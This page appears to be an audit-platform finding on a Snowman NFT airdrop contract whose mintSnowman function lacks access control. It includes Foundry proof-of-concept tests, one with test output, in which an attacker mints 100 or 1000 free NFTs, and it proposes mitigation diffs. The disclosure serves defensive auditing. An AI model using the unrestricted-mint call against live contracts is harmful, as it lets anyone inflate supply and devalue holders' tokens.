Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Missing access control on `Snowman::mintSnowman` lets anyone mint unlimited free NFTs, bypassing the entire airdrop

Root + Impact

Description

  • Normal behavior: Snowman NFTs are only supposed to be minted by the SnowmanAirdrop contract when an eligible user stakes their Snow tokens and passes both a valid Merkle proof and a valid signature. The number of NFTs a user receives is meant to equal the amount of Snow they staked.

  • Specific issue: mintSnowman() is declared external with no access-control modifier or msg.sender check, so any address can call it directly with any receiver and any amount. The airdrop, the Snow staking, the Merkle proof, and the signature are all bypassed. The contract even declares an SM__NotAllowed() error that is never used anywhere — the intended caller restriction was simply omitted.

solidity
// >>> ERROR
@> error SM__NotAllowed(); // declared but NEVER used — the guard was forgotten
...
// >>> EXTERNAL FUNCTIONS
@> function mintSnowman(address receiver, uint256 amount) external { // no onlyAirdrop / access control
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • Reason 1: Occurs whenever any externally-owned account calls mintSnowman() directly — the function is public-facing and unguarded, so it is exploitable by anyone at any time.

  • Reason 2: Occurs regardless of whether the caller holds any Snow, is included in the Merkle tree, or has a valid signature, because none of those checks live in Snowman.

Impact:

  • Impact 1: An attacker mints an unlimited number of Snowman NFTs to any address for free, completely bypassing the staking/airdrop mechanism the protocol is built around.

  • Impact 2: The core protocol invariant "Snowman supply is backed 1:1 by staked Snow" is destroyed, diluting/devaluing every legitimately-earned NFT and rendering the entire SnowmanAirdrop distribution meaningless.

Proof of Concept

This PoC deploys a fresh Snowman and has an attacker who owns zero Snow, provides no Merkle proof, and is not the airdrop contract call mintSnowman directly. The attacker walks away with 100 NFTs, proving the mint is fully unpermissioned.
Add as test/MintSnowmanPoC.t.sol and run forge test --mt test_anyone_can_mint_for_free -vvv.
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
contract MintSnowmanPoC is Test {
Snowman snowman;
function setUp() public {
snowman = new Snowman("ipfs://snowman.svg");
}
function test_anyone_can_mint_for_free() public {
address attacker = makeAddr("attacker");
assertEq(snowman.balanceOf(attacker), 0);
// Attacker holds no Snow, has no Merkle proof, and is not the airdrop contract.
vm.prank(attacker);
snowman.mintSnowman(attacker, 100);
// Attacker received 100 free NFTs with zero eligibility.
assertEq(snowman.balanceOf(attacker), 100);
assertEq(snowman.getTokenCounter(), 100);
}
}
The assertions pass: the attacker's balance jumps from 0 to 100 and the token counter advances by 100, confirming anyone can mint arbitrary NFTs with no eligibility whatsoever.

Recommended Mitigation

Restrict mintSnowman() so only the SnowmanAirdrop contract can call it. Store the airdrop address at deployment (via constructor or an owner-only setter) and gate the function with a modifier that reverts with the already-declared SM__NotAllowed() error for any other caller. This re-anchors NFT minting to the airdrop's Snow-staking + Merkle-proof + signature flow, restoring the 1:1 backing invariant.
+ address private s_airdrop;
- constructor(string memory _SnowmanSvgUri) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
+ constructor(string memory _SnowmanSvgUri, address _airdrop) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
+ s_airdrop = _airdrop;
s_TokenCounter = 0;
s_SnowmanSvgUri = _SnowmanSvgUri;
}
+ modifier onlyAirdrop() {
+ if (msg.sender != s_airdrop) {
+ revert SM__NotAllowed();
+ }
+ _;
+ }
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!